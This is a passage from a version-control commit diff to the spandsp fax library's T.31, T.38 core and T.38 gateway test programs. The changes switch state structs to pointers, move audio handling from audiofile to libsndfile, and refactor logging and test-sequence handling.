-                    t31_at_rx(&t31_state, fax_test_seq[test_seq_ptr].command, fax_test_seq[test_seq_ptr].len_command);
+                    t31_at_rx(t31_state, fax_test_seq[test_seq_ptr].command, fax_test_seq[test_seq_ptr].len_command);
                 }
             }
             else
             {
-                printf("Fast send\n");
-                fast_send = TRUE;
-                fast_blocks = 100;
+                if (fax_test_seq[test_seq_ptr].command == (const char *) 2)
+                {
+                    printf("Fast send TCF\n");
+                    fast_send = TRUE;
+                    fast_send_tcf = TRUE;
+                    fast_blocks = 100;
+                }
+                else
+                {
+                    printf("Fast send image\n");
+                    fast_send = TRUE;
+                    fast_send_tcf = FALSE;
+                    fast_blocks = 100;
+                }
             }
         }
         if (fast_send)
         {
             /* Send fast modem data */
-            memset(fast_buf, 0, 36);
+            if (fast_send_tcf)
+            {
+                memset(fast_buf, 0, 36);
+            }
+            else
+            {
+                if (fast_blocks == 1)
+                {
+                    /* Create the end of page condition */
+                    for (i = 0;  i < 36;  i += 2)
+                    {
+                        fast_buf[i] = 0x00;
+                        fast_buf[i + 1] = 0x80;
+                    }
+                }
+                else
+                {
+                    /* Create a chunk of white page */
+                    for (i = 0;  i < 36;  i += 4)
+                    {
+                        fast_buf[i] = 0x00;
+                        fast_buf[i + 1] = 0x80;
+                        fast_buf[i + 2] = 0xB2;
+                        fast_buf[i + 3] = 0x01;
+                    }
+                }
+            }
             if (fast_blocks == 1)
             {
                 /* Insert EOLs */
@@ -455,35 +605,47 @@
                 fast_buf[19] =
                 fast_buf[16] = 1;
             }
-            t31_at_rx(&t31_state, (char *) fast_buf, 36);
+            t31_at_rx(t31_state, (char *) fast_buf, 36);
             if (--fast_blocks == 0)
                 fast_send = FALSE;
         }
-        //t30_len = fax_tx(&fax_state, t30_amp, SAMPLES_PER_CHUNK);
-        //if (t31_rx(&t31_state, t30_amp, t30_len))
-        //    break;
         if (countdown)
         {
             if (answered)
             {
                 countdown = 0;
-                t31_call_event(&t31_state, AT_CALL_EVENT_ANSWERED);
+                t31_call_event(t31_state, AT_CALL_EVENT_ANSWERED);
             }
             else if (--countdown == 0)
             {
-                t31_call_event(&t31_state, AT_CALL_EVENT_ALERTING);
+                t31_call_event(t31_state, AT_CALL_EVENT_ALERTING);
                 countdown = 250;
             }
         }
-
-        //t31_len = t31_tx(&t31_state, t31_amp, SAMPLES_PER_CHUNK);
-        //if (fax_rx(&fax_state, t31_amp, SAMPLES_PER_CHUNK))
-        //    break;
+        while ((msg_len = g1050_get(path_a_to_b, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
+        {
 #if defined(ENABLE_GUI)
+            if (use_gui)
+                media_monitor_rx(seq_no, tx_when, rx_when);
+#endif
+            t38_core = t31_get_t38_core_state(t31_state);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
+        }
+        while ((msg_len = g1050_get(path_b_to_a, msg, 1024, when, &seq_no, &tx_when, &rx_when)) >= 0)
+        {
+#if defined(ENABLE_GUI)
+            if (use_gui)
+                media_monitor_rx(seq_no, tx_when, rx_when);
+#endif
+            t38_core = t38_terminal_get_t38_core_state(t38_state);
+            t38_core_rx_ifp_packet(t38_core, msg, msg_len, seq_no);
+        }
+#if defined(ENABLE_GUI)
         if (use_gui)
             media_monitor_update_display();
 #endif
     }
+    t38_terminal_release(t38_state);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
@@ -492,26 +654,29 @@
 {
     int k;
     int outframes;
-    fax_state_t fax_state;
+    fax_state_t *fax_state;
     int16_t t30_amp[SAMPLES_PER_CHUNK];
     int16_t t31_amp[SAMPLES_PER_CHUNK];
     int16_t silence[SAMPLES_PER_CHUNK];
     int16_t out_amp[2*SAMPLES_PER_CHUNK];
     int t30_len;
     int t31_len;
-    AFfilehandle wave_handle;
-    AFfilehandle in_handle;
+    SNDFILE *wave_handle;
+    SNDFILE *in_handle;
     int fast_send;
+    int fast_send_tcf;
     int fast_blocks;
     uint8_t fast_buf[1000];
     t30_state_t *t30;
+    logging_state_t *logging;
+    int i;
 
-    wave_handle = AF_NULL_FILEHANDLE;
+    wave_handle = NULL;
     if (log_audio)
     {
-        if ((wave_handle = afOpenFile_telephony_write(OUTPUT_WAVE_FILE_NAME, 2)) == AF_NULL_FILEHANDLE)
+        if ((wave_handle = sf_open_telephony_write(OUTPUT_WAVE_FILE_NAME, 2)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_WAVE_FILE_NAME);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_WAVE_FILE_NAME);
             exit(2);
         }
     }
@@ -521,33 +686,34 @@
     in_handle = NULL;
     if (decode_test_file)
     {
-        if ((in_handle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+        if ((in_handle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", decode_test_file);
             exit(2);
         }
     }
 
-    if (t31_init(&t31_state, at_tx_handler, NULL, modem_call_control, NULL, NULL, NULL) == NULL)
+    if ((t31_state = t31_init(NULL, at_tx_handler, NULL, modem_call_control, NULL, NULL, NULL)) == NULL)
     {
         fprintf(stderr, "    Cannot start the T.31 FAX modem\n");
         exit(2);
     }
-    span_log_set_level(&t31_state.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
-    span_log_set_tag(&t31_state.logging, "T.31");
+    logging = t31_get_logging_state(t31_state);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.31");
 
     if (test_sending)
     {
-        fax_init(&fax_state, FALSE);
-        t30 = fax_get_t30_state(&fax_state);
+        fax_state = fax_init(NULL, FALSE);
+        t30 = fax_get_t30_state(fax_state);
         t30_set_rx_file(t30, OUTPUT_FILE_NAME, -1);
         fax_test_seq = fax_send_test_seq;
         countdown = 0;
     }
     else
     {
-        fax_init(&fax_state, TRUE);
-        t30 = fax_get_t30_state(&fax_state);
+        fax_state = fax_init(NULL, TRUE);
+        t30 = fax_get_t30_state(fax_state);
         t30_set_tx_file(t30, INPUT_FILE_NAME, -1, -1);
         fax_test_seq = fax_receive_test_seq;
         countdown = 250;
@@ -555,17 +721,21 @@
     
     t30_set_tx_ident(t30, "11111111");
     t30_set_supported_modems(t30, T30_SUPPORT_V27TER | T30_SUPPORT_V29 | T30_SUPPORT_V17);
-    t30_set_phase_b_handler(t30, phase_b_handler, (void *) 0);
-    t30_set_phase_d_handler(t30, phase_d_handler, (void *) 0);
-    t30_set_phase_e_handler(t30, phase_e_handler, (void *) 0);
+    t30_set_phase_b_handler(t30, phase_b_handler, (void *) 'A');
+    t30_set_phase_d_handler(t30, phase_d_handler, (void *) 'A');
+    t30_set_phase_e_handler(t30, phase_e_handler, (void *) 'A');
     memset(t30_amp, 0, sizeof(t30_amp));
     
-    span_log_set_level(&t30->logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
-    span_log_set_tag(&t30->logging, "FAX");
-    span_log_set_level(&fax_state.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
-    span_log_set_tag(&fax_state.logging, "FAX");
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX");
 
+    logging = fax_get_logging_state(fax_state);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX");
+
     fast_send = FALSE;
+    fast_send_tcf = TRUE;
     fast_blocks = 0;
     kick = TRUE;
     while (!done)
@@ -573,25 +743,62 @@
         if (kick)
         {
             kick = FALSE;
-            if (fax_test_seq[test_seq_ptr].command > (const char *) 1)
+            if (fax_test_seq[test_seq_ptr].command > (const char *) 2)
             {
                 if (fax_test_seq[test_seq_ptr].command[0])
                 {
                     printf("%s\n", fax_test_seq[test_seq_ptr].command);
-                    t31_at_rx(&t31_state, fax_test_seq[test_seq_ptr].command, fax_test_seq[test_seq_ptr].len_command);
+                    t31_at_rx(t31_state, fax_test_seq[test_seq_ptr].command, fax_test_seq[test_seq_ptr].len_command);
                 }
             }
             else
             {
-                printf("Fast send\n");
-                fast_send = TRUE;
-                fast_blocks = 100;
+                if (fax_test_seq[test_seq_ptr].command == (const char *) 2)
+                {
+                    printf("Fast send TCF\n");
+                    fast_send = TRUE;
+                    fast_send_tcf = TRUE;
+                    fast_blocks = 100;
+                }
+                else
+                {
+                    printf("Fast send image\n");
+                    fast_send = TRUE;
+                    fast_send_tcf = FALSE;
+                    fast_blocks = 100;
+                }
             }
         }
         if (fast_send)
         {
             /* Send fast modem data */
-            memset(fast_buf, 0, 36);
+            if (fast_send_tcf)
+            {
+                memset(fast_buf, 0, 36);
+            }
+            else
+            {
+                if (fast_blocks == 1)
+                {
+                    /* Create the end of page condition */
+                    for (i = 0;  i < 36;  i += 2)
+                    {
+                        fast_buf[i] = 0x00;
+                        fast_buf[i + 1] = 0x80;
+                    }
+                }
+                else
+                {
+                    /* Create a chunk of white page */
+                    for (i = 0;  i < 36;  i += 4)
+                    {
+                        fast_buf[i] = 0x00;
+                        fast_buf[i + 1] = 0x80;
+                        fast_buf[i + 2] = 0xB2;
+                        fast_buf[i + 3] = 0x01;
+                    }
+                }
+            }
             if (fast_blocks == 1)
             {
                 /* Insert EOLs */
@@ -604,11 +811,11 @@
                 fast_buf[19] =
                 fast_buf[16] = 1;
             }
-            t31_at_rx(&t31_state, (char *) fast_buf, 36);
+            t31_at_rx(t31_state, (char *) fast_buf, 36);
             if (--fast_blocks == 0)
                 fast_send = FALSE;
         }
-        t30_len = fax_tx(&fax_state, t30_amp, SAMPLES_PER_CHUNK);
+        t30_len = fax_tx(fax_state, t30_amp, SAMPLES_PER_CHUNK);
         /* The receive side always expects a full block of samples, but the
            transmit side may not be sending any when it doesn't need to. We
            may need to pad with some silence. */
@@ -622,23 +829,23 @@
             for (k = 0;  k < t30_len;  k++)
                 out_amp[2*k] = t30_amp[k];
         }
-        if (t31_rx(&t31_state, t30_amp, t30_len))
+        if (t31_rx(t31_state, t30_amp, t30_len))
             break;
         if (countdown)
         {
             if (answered)
             {
                 countdown = 0;
-                t31_call_event(&t31_state, AT_CALL_EVENT_ANSWERED);
+                t31_call_event(t31_state, AT_CALL_EVENT_ANSWERED);
             }
             else if (--countdown == 0)
             {
-                t31_call_event(&t31_state, AT_CALL_EVENT_ALERTING);
+                t31_call_event(t31_state, AT_CALL_EVENT_ALERTING);
                 countdown = 250;
             }
         }
 
-        t31_len = t31_tx(&t31_state, t31_amp, SAMPLES_PER_CHUNK);
+        t31_len = t31_tx(t31_state, t31_amp, SAMPLES_PER_CHUNK);
         if (t31_len < SAMPLES_PER_CHUNK)
         {
             memset(t31_amp + t31_len, 0, sizeof(int16_t)*(SAMPLES_PER_CHUNK - t31_len));
@@ -649,29 +856,32 @@
             for (k = 0;  k < t31_len;  k++)
                 out_amp[2*k + 1] = t31_amp[k];
         }
-        if (fax_rx(&fax_state, t31_amp, SAMPLES_PER_CHUNK))
+        if (fax_rx(fax_state, t31_amp, SAMPLES_PER_CHUNK))
             break;
 
+        span_log_bump_samples(&fax_state->logging, SAMPLES_PER_CHUNK);
+        span_log_bump_samples(&t30->logging, SAMPLES_PER_CHUNK);
+
         if (log_audio)
         {
-            outframes = afWriteFrames(wave_handle, AF_DEFAULT_TRACK, out_amp, SAMPLES_PER_CHUNK);
+            outframes = sf_writef_short(wave_handle, out_amp, SAMPLES_PER_CHUNK);
             if (outframes != SAMPLES_PER_CHUNK)
                 break;
         }
     }
     if (decode_test_file)
     {
-        if (afCloseFile(in_handle) != 0)
+        if (sf_close(in_handle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", decode_test_file);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", decode_test_file);
             exit(2);
         }
     }
     if (log_audio)
     {
-        if (afCloseFile(wave_handle) != 0)
+        if (sf_close(wave_handle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", OUTPUT_WAVE_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", OUTPUT_WAVE_FILE_NAME);
             exit(2);
         }
     }
@@ -727,7 +937,7 @@
     }
 
     if (t38_mode)
-        t38_tests(use_gui, test_sending);
+        t38_tests(use_gui, test_sending, 0, 1);
     else
         t30_tests(log_audio, test_sending);
     if (done)

Modified: freeswitch/branches/seven/libs/spandsp/tests/t38_core_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/t38_core_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/t38_core_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_core_tests.c,v 1.13 2008/05/13 13:17:26 steveu Exp $
+ * $Id: t38_core_tests.c,v 1.16 2009/07/14 13:54:22 steveu Exp $
  */
 
 /*! \file */
@@ -42,17 +42,11 @@
 #include <string.h>
 #include <assert.h>
 #include <errno.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#if !defined(__USE_MISC)
-#define __USE_MISC
-#endif
-#include <arpa/inet.h>
-#include <sys/select.h>
-#include <sys/time.h>
-#include <audiofile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 
 #define MAX_FIELDS      42
@@ -144,7 +138,7 @@
     for (i = 0;  i < 100;  i++)
     {
         current_indicator = i;
-        if (t38_core_send_indicator(a, i, 3) < 0)
+        if (t38_core_send_indicator(a, i) < 0)
             break;
     }
 
@@ -156,7 +150,7 @@
             current_data_type = i;
             current_field_type = j;
             skip = 99;
-            if (t38_core_send_data(a, i, j, (uint8_t *) "", 0, 1) < 0)
+            if (t38_core_send_data(a, i, j, (uint8_t *) "", 0, T38_PACKET_CATEGORY_CONTROL_DATA) < 0)
                 break;
         }
         if (j == 0)
@@ -171,7 +165,7 @@
             current_data_type = i;
             current_field_type = j;
             skip = 99;
-            if (t38_core_send_data(a, i, j, (uint8_t *) "ABCD", 4, 1) < 0)
+            if (t38_core_send_data(a, i, j, (uint8_t *) "ABCD", 4, T38_PACKET_CATEGORY_CONTROL_DATA) < 0)
                 break;
         }
         if (j == 0)
@@ -196,7 +190,7 @@
             field[1].field_type = T38_FIELD_T4_NON_ECM_SIG_END;
             field[1].field = field_body[1];
             field[1].field_len = field_len[1];
-            if (t38_core_send_data_multi_field(a, i, field, 2, 1) < 0)
+            if (t38_core_send_data_multi_field(a, i, field, 2, T38_PACKET_CATEGORY_CONTROL_DATA) < 0)
                 break;
         }
         if (j == 0)

Modified: freeswitch/branches/seven/libs/spandsp/tests/t38_gateway_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/t38_gateway_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/t38_gateway_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t38_gateway_tests.c,v 1.76 2008/08/16 15:24:16 steveu Exp $
+ * $Id: t38_gateway_tests.c,v 1.82 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -34,6 +34,9 @@
     FAX machine <-> T.38 gateway <-> T.38 gateway <-> FAX machine
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include <config.h>
 #endif
@@ -45,27 +48,25 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <unistd.h>
 #include <string.h>
 #include <assert.h>
 #include <errno.h>
-#include <sys/socket.h>
-#include <netinet/in.h>
-#include <netinet/tcp.h>
-#if !defined(__USE_MISC)
-#define __USE_MISC
+#include <sndfile.h>
+#if !defined(_WIN32)
+#include <unistd.h>
 #endif
-#include <arpa/inet.h>
-#include <sys/select.h>
-#include <sys/time.h>
-#include <audiofile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
 #if defined(ENABLE_GUI)
 #include "media_monitor.h"
 #endif
+#include "fax_utils.h"
 
 #define SAMPLES_PER_CHUNK       160
 
@@ -77,10 +78,10 @@
 #define OUTPUT_FILE_NAME_T30B   "t38_gateway_t30b.wav"
 #define OUTPUT_FILE_NAME_T38B   "t38_gateway_t38b.wav"
 
-fax_state_t fax_state_a;
-t38_gateway_state_t t38_state_a;
-t38_gateway_state_t t38_state_b;
-fax_state_t fax_state_b;
+fax_state_t *fax_state_a;
+t38_gateway_state_t *t38_state_a;
+t38_gateway_state_t *t38_state_b;
+fax_state_t *fax_state_b;
 
 g1050_state_t *path_a_to_b;
 g1050_state_t *path_b_to_a;
@@ -95,9 +96,12 @@
 static int phase_b_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    
+    char tag[20];
+
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase B:", i);
     printf("%c: Phase B handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -105,26 +109,14 @@
 static int phase_d_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    t30_stats_t t;
-    const char *u;
+    char tag[20];
 
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase D:", i);
     printf("%c: Phase D handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
-    t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase D: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase D: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase D: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase D: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase D: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase D: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase D: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase D: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase D: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%c: Phase D: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%c: Phase D: remote ident '%s'\n", i, u);
-    printf("%c: Phase D: bits per row - min %d, max %d\n", i, s->t4.min_row_bits, s->t4.max_row_bits);
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -133,25 +125,16 @@
 {
     int i;
     t30_stats_t t;
-    const char *u;
+    char tag[20];
     
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase E:", i);
     printf("%c: Phase E handler on channel %c - (%d) %s\n", i, i, result, t30_completion_code_to_str(result));
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase E: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase E: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase E: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase E: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase E: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase E: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase E: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase E: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase E: image size %d bytes\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%c: Phase E: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%c: Phase E: remote ident '%s'\n", i, u);
-    succeeded[i - 'A'] = (result == T30_ERR_OK)  &&  (t.pages_transferred == 12);
+    succeeded[i - 'A'] = (result == T30_ERR_OK)  &&  (t.pages_tx == 12  ||  t.pages_rx == 12);
     done[i - 'A'] = TRUE;
 }
 /*- End of function --------------------------------------------------------*/
@@ -251,7 +234,7 @@
     int msg_len;
     uint8_t msg[1024];
     int outframes;
-    AFfilehandle wave_handle;
+    SNDFILE *wave_handle;
     int use_ecm;
     int use_tep;
     int feedback_audio;
@@ -269,7 +252,11 @@
     int use_gui;
     int opt;
     t38_stats_t stats;
+    fax_state_t *fax;
     t30_state_t *t30;
+    t38_gateway_state_t *t38;
+    t38_core_state_t *t38_core;
+    logging_state_t *logging;
 
     log_audio = FALSE;
     use_ecm = FALSE;
@@ -340,12 +327,12 @@
     if (use_ecm)
         printf("Using ECM\n");
 
-    wave_handle = AF_NULL_FILEHANDLE;
+    wave_handle = NULL;
     if (log_audio)
     {
-        if ((wave_handle = afOpenFile_telephony_write(OUTPUT_FILE_NAME_WAVE, 4)) == AF_NULL_FILEHANDLE)
+        if ((wave_handle = sf_open_telephony_write(OUTPUT_FILE_NAME_WAVE, 4)) == NULL)
         {
-            fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME_WAVE);
+            fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME_WAVE);
             exit(2);
         }
     }
@@ -363,14 +350,15 @@
         exit(2);
     }
 
-    if (fax_init(&fax_state_a, TRUE) == NULL)
+    if ((fax_state_a = fax_init(NULL, TRUE)) == NULL)
     {
         fprintf(stderr, "Cannot start FAX\n");
         exit(2);
     }
-    t30 = fax_get_t30_state(&fax_state_a);
-    fax_set_transmit_on_idle(&fax_state_a, use_transmit_on_idle);
-    fax_set_tep_mode(&fax_state_a, use_tep);
+    fax = fax_state_a;
+    t30 = fax_get_t30_state(fax);
+    fax_set_transmit_on_idle(fax, use_transmit_on_idle);
+    fax_set_tep_mode(fax, use_tep);
     t30_set_supported_modems(t30, supported_modems);
     t30_set_tx_ident(t30, "11111111");
     t30_set_tx_nsf(t30, (const uint8_t *) "\x50\x00\x00\x00Spandsp\x00", 12);
@@ -383,57 +371,75 @@
         t30_set_supported_compressions(t30, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
     t30_set_minimum_scan_line_time(t30, 40);
     //t30_set_iaf_mode(t30, T30_IAF_MODE_NO_FILL_BITS);
-    span_log_set_level(&fax_state_a.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&fax_state_a.logging, "FAX-A ");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "FAX-A ");
+
+    logging = fax_get_logging_state(fax);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX-A ");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "FAX-A ");
+
     memset(t30_amp_a, 0, sizeof(t30_amp_a));
     memset(t38_amp_hist_a, 0, sizeof(t38_amp_hist_a));
     memset(t38_amp_hist_b, 0, sizeof(t38_amp_hist_b));
 
-    if (t38_gateway_init(&t38_state_a, tx_packet_handler_a, &t38_state_b) == NULL)
+    if ((t38_state_a = t38_gateway_init(NULL, tx_packet_handler_a, t38_state_b)) == NULL)
     {
         fprintf(stderr, "Cannot start the T.38 channel\n");
         exit(2);
     }
-    t38_gateway_set_transmit_on_idle(&t38_state_a, use_transmit_on_idle);
-    t38_gateway_set_supported_modems(&t38_state_a, supported_modems);
-    //t38_gateway_set_nsx_suppression(&t38_state_a, NULL, 0, NULL, 0);
-    t38_gateway_set_fill_bit_removal(&t38_state_a, fill_removal);
-    t38_gateway_set_real_time_frame_handler(&t38_state_a, real_time_frame_handler, NULL);
-    t38_set_t38_version(&t38_state_a.t38x.t38, t38_version);
-    t38_gateway_set_ecm_capability(&t38_state_a, use_ecm);
-    span_log_set_level(&t38_state_a.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_a.logging, "T.38-A");
-    span_log_set_level(&t38_state_a.t38x.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_a.t38x.t38.logging, "T.38-A");
+    t38 = t38_state_a;
+    t38_core = t38_gateway_get_t38_core_state(t38);
+    t38_gateway_set_transmit_on_idle(t38, use_transmit_on_idle);
+    t38_gateway_set_supported_modems(t38, supported_modems);
+    //t38_gateway_set_nsx_suppression(t38, NULL, 0, NULL, 0);
+    t38_gateway_set_fill_bit_removal(t38, fill_removal);
+    t38_gateway_set_real_time_frame_handler(t38, real_time_frame_handler, NULL);
+    t38_set_t38_version(t38_core, t38_version);
+    t38_gateway_set_ecm_capability(t38, use_ecm);
+
+    logging = t38_gateway_get_logging_state(t38);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
+
+    logging = t38_core_get_logging_state(t38_core);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-A");
     memset(t38_amp_a, 0, sizeof(t38_amp_a));
 
-    if (t38_gateway_init(&t38_state_b, tx_packet_handler_b, &t38_state_a) == NULL)
+    if ((t38_state_b = t38_gateway_init(NULL, tx_packet_handler_b, t38_state_a)) == NULL)
     {
         fprintf(stderr, "Cannot start the T.38 channel\n");
         exit(2);
     }
-    t38_gateway_set_transmit_on_idle(&t38_state_b, use_transmit_on_idle);
-    t38_gateway_set_supported_modems(&t38_state_b, supported_modems);
-    //t38_gateway_set_nsx_suppression(&t38_state_b, FALSE);
-    t38_gateway_set_fill_bit_removal(&t38_state_b, fill_removal);
-    t38_set_t38_version(&t38_state_b.t38x.t38, t38_version);
-    t38_gateway_set_ecm_capability(&t38_state_b, use_ecm);
-    span_log_set_level(&t38_state_b.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_b.logging, "T.38-B");
-    span_log_set_level(&t38_state_b.t38x.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state_b.t38x.t38.logging, "T.38-B");
+    t38 = t38_state_b;
+    t38_core = t38_gateway_get_t38_core_state(t38);
+    t38_gateway_set_transmit_on_idle(t38, use_transmit_on_idle);
+    t38_gateway_set_supported_modems(t38, supported_modems);
+    //t38_gateway_set_nsx_suppression(t38, FALSE);
+    t38_gateway_set_fill_bit_removal(t38, fill_removal);
+    t38_set_t38_version(t38_core, t38_version);
+    t38_gateway_set_ecm_capability(t38, use_ecm);
+
+    logging = t38_gateway_get_logging_state(t38);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
+
+    logging = t38_core_get_logging_state(t38_core);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38-B");
     memset(t38_amp_b, 0, sizeof(t38_amp_b));
 
-    if (fax_init(&fax_state_b, FALSE) == NULL)
+    if ((fax_state_b = fax_init(NULL, FALSE)) == NULL)
     {
         fprintf(stderr, "Cannot start FAX\n");
         exit(2);
     }
-    t30 = fax_get_t30_state(&fax_state_b);
-    fax_set_transmit_on_idle(&fax_state_b, use_transmit_on_idle);
-    fax_set_tep_mode(&fax_state_b, use_tep);
+    fax = fax_state_b;
+    t30 = fax_get_t30_state(fax);
+    fax_set_transmit_on_idle(fax, use_transmit_on_idle);
+    fax_set_tep_mode(fax, use_tep);
     t30_set_supported_modems(t30, supported_modems);
     t30_set_tx_ident(t30, "22222222");
